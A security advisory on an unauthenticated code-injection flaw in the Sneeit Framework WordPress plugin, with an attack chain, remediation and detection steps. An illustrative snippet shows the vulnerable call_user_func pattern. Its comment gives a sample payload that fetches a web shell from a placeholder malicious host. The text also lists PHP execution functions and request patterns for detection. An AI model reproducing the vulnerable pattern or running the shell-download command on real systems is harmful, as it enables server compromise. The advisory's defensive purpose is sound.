The Sneeit Framework is a component used for creating and managing WordPress sites. WordPress powers over 40% of all websites, making any critical vulnerability in its ecosystem a significant threat. This vulnerability is particularly dangerous because it is an Unauthenticated Remote Code Execution (RCE), meaning an attacker does not need access or credentials to fully compromise the system.

The risk is amplified by the confirmed existence of a public exploit and the fact that it is being actively exploited. Any WordPress site exposed to the Internet using a vulnerable version of the Sneeit Framework plugin is a target for automated attacks. A successful exploit allows the attacker to gain full control of the underlying server, enabling data theft, site defacement, or the use of the server in larger botnet campaigns. The impact can extend beyond the website itself, putting the reputation and security of the entire organization at risk.

Technical Summary

The root cause of this vulnerability is improper neutralization of user-supplied input within the sneeit_articles_pagination_callback() function, a flaw categorized as CWE-94: Improper Control of Generation of Code (‘Code Injection’). The function passes unvalidated data directly from user requests to PHP’s call_user_func() function.

The attack chain is as follows:

1. The attacker sends a specially crafted HTTP request to a WordPress endpoint that triggers an action handled by the sneeit_articles_pagination_callback function.
2. The request payload contains a malicious function name (e.g., system, exec) and related arguments (e.g., a shell command).
3. The vulnerable function receives this payload and, without proper sanitization, passes the function name and arguments directly to call_user_func(), leading to its execution with the privileges of the web server process.

// Conceptual representation of the vulnerable code logic
function sneeit_articles_pagination_callback() {
    // User-controlled input taken from the request
    $callback_function = $_REQUEST['user_function']; 
    $command_argument = $_REQUEST['user_argument'];

    // Unvalidated input is passed directly to the sink, causing RCE
    // e.g. call_user_func('system', 'wget http://malicious.com/shell.php');
    call_user_func($callback_function, $command_argument);
}

An attacker can exploit this vulnerability to execute arbitrary commands on the server, effectively gaining full control.

Affected versions: Versions of the Sneeit Framework plugin up to and including 8.3 are vulnerable. A patch has been released, and users must update immediately.

Recommendations

• Update immediately: Update the Sneeit Framework plugin to the latest available version (8.4 or later) via the WordPress admin panel without delay.

• Immediate mitigation: If the patch cannot be applied immediately, the plugin should be disabled and uninstalled to eliminate the attack surface. Implement a Web Application Firewall (WAF) with specific rules to inspect request bodies for PHP function names like system, passthru, shell_exec, or exec passed to WordPress AJAX actions associated with the plugin.

• Search and monitoring:

  • Examine web server access logs (e.g., Nginx, Apache) for POST requests to wp-admin/admin-ajax.php containing suspicious parameters. Specifically, look for action=sneeit_articles_pagination and analyze the request body for payloads containing PHP execution functions.
  • Use a file integrity monitoring tool to scan the WordPress installation directory for unexpected or recently modified PHP files, especially in wp-content/uploads and theme directories, which are common locations for webshells.
  • Check for the presence of new WordPress users created with administrative privileges.

• Incident management: If a compromise is suspected, take the site offline immediately and isolate the server from the network. Activate the incident response plan, which must include analyzing server logs to determine the extent of the breach, identifying and removing any backdoors, and restoring the site from a known clean backup created before the suspected compromise. All credentials, including database passwords, administrator passwords, and API keys, must be rotated.

• Defense in depth: Ensure that the web server process runs with the minimum possible privileges. Maintain a regular, automated off-site backup schedule. Segment the web server network to prevent lateral movement in the event of a compromise.